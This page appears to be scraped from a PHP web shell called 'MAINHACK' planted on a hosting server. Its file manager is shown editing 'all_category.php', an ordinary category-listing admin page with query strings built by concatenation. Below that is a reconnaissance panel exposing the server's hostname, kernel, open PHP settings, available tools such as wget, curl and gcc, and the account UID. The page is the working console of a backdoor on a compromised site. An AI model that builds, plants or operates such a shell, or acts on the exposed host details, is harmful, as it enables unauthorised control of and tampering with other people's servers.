[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: all_category.php
<?php ob_start(); session_start(); include('database.php'); include('header.php'); ?> <link href="src/facebox.css" media="screen" rel="stylesheet" type="text/css" /> <script src="src/facebox.js" type="text/javascript"></script> <script type="text/javascript"> jQuery(document).ready(function($) { $('a[rel*=facebox]').facebox({ loadingImage : 'src/loading.gif', closeImage : 'src/closelabel.png' }) }) function send(){ if(window.confirm("Do You Really Want To Delete The Category??")){ return true; } else return false; } </script> <script> function doSearch() { var searchText = document.getElementById('searchTerm').value; var targetTable = document.getElementById('dataTable'); var targetTableColCount; //Loop through table rows for (var rowIndex = 0; rowIndex < targetTable.rows.length; rowIndex++) { var rowData = ''; //Get column count from header row if (rowIndex == 0) { targetTableColCount = targetTable.rows.item(rowIndex).cells.length; continue; //do not execute further code for header row. } //Process data rows. (rowIndex >= 1) for (var colIndex = 0; colIndex < targetTableColCount; colIndex++) { rowData += targetTable.rows.item(rowIndex).cells.item(colIndex).textContent; } //If search term is not found in row data //then hide the row, else show if (rowData.indexOf(searchText) == -1) targetTable.rows.item(rowIndex).style.display = 'none'; else targetTable.rows.item(rowIndex).style.display = 'table-row'; } } </script> <div id="page-wrapper"> <div class="main-page"> <div class="tables"> <h3 class="title1">All Categories</h3> <div class="panel-body widget-shadow"> <div class="col-md-3 col-xs-offset-9"> <input type="text" id="searchTerm" onkeyup="doSearch()" placeholder="Search Any fields within table" class="form-control"/> </div> <table class="table" id='dataTable'> <thead> <tr> <th>Sl</th> <th>Category</th> <th>Sub Category</th> <th>Delete</th> </tr> </thead> <tbody> <?php $sql = "SELECT COUNT(*) FROM category"; $result = mysqli_query($con,$sql) or trigger_error("SQL", E_USER_ERROR); $r = mysqli_fetch_row($result); $numrows = $r[0]; // number of rows to show per page $rowsperpage = 15; // find out total pages $totalpages = ceil($numrows / $rowsperpage); // get the current page or set a default if (isset($_GET['currentpage']) && is_numeric($_GET['currentpage'])) { // cast var as int $currentpage = (int) $_GET['currentpage']; } else { // default page num $currentpage = 1; } // end if // if current page is greater than total pages... if ($currentpage > $totalpages) { // set current page to last page $currentpage = $totalpages; } // end if // if current page is less than first page... if ($currentpage < 1) { // set current page to first page $currentpage = 1; } // end if // the offset of the list, based on current page $offset = ($currentpage - 1) * $rowsperpage; $count=1; $sq="select * from category group by category LIMIT $offset, $rowsperpage"; $r=mysqli_query($con,$sq); while($row=mysqli_fetch_array($r)){ //$status=$row['status']; $pro_id=$row['id']; $cate=explode(" ",$row['category']); $sub='subcat'.$count; echo " <tr> <td>$count</td> <td>".$row['category']."</td>"; $sq11="SHOW TABLES LIKE '".$cate[0]."'"; $r11=mysqli_query($con,$sq11); $row1=mysqli_fetch_array($r11); $c=mysqli_num_rows($r11); if($c>0){ echo "<td> <a href='edit_sub_categ.php?id=".$cate[0]."' class='label label-success' >Show</a><input type='hidden' value='".$cate[0]."' id='$sub'> </td> "; }else{ echo "<td>--</td>"; } echo" <td> <a href='delete_cate.php?id=$pro_id' class='label label-danger' onclick='return send();'>Delete</a> </td> </tr>"; ++$count; } $range = 3; echo"<tr><td colspan='10'>"; // if not on page 1, don't show back links if ($currentpage > 1) { // show << link to go back to page 1 echo "<a href='{$_SERVER['PHP_SELF']}?currentpage=1' class='page'>First</a> "; // get previous page num $prevpage = $currentpage - 1; // show < link to go back to 1 page echo " <a href='{$_SERVER['PHP_SELF']}?currentpage=$prevpage' class='page'>Previous</a> "; } // end if // loop to show links to range of pages around current page for ($x = ($currentpage - $range); $x < (($currentpage + $range) + 1); $x++) { // if it's a valid page number... if (($x > 0) && ($x <= $totalpages)) { // if we're on current page... if ($x == $currentpage) { // 'highlight' it but don't make a link echo " <span class='current'>$x</span> "; // if not current page... } else { // make it a link echo " <a href='{$_SERVER['PHP_SELF']}?currentpage=$x' class='page'>$x</a> "; } // end else } // end if } // end for // if not on last page, show forward and last page links if ($currentpage != $totalpages) { // get next page $nextpage = $currentpage + 1; // echo forward link for next page echo " <a href='{$_SERVER['PHP_SELF']}?currentpage=$nextpage' class='page'>Next</a> "; // echo forward link for lastpage echo " <a href='{$_SERVER['PHP_SELF']}?currentpage=$totalpages' class='page'>Last</a> "; } echo"</td></tr>"; ?> </tbody></table> </div></div> </div> </div> <!--footer--> <?php include('footer.php'); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.13 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619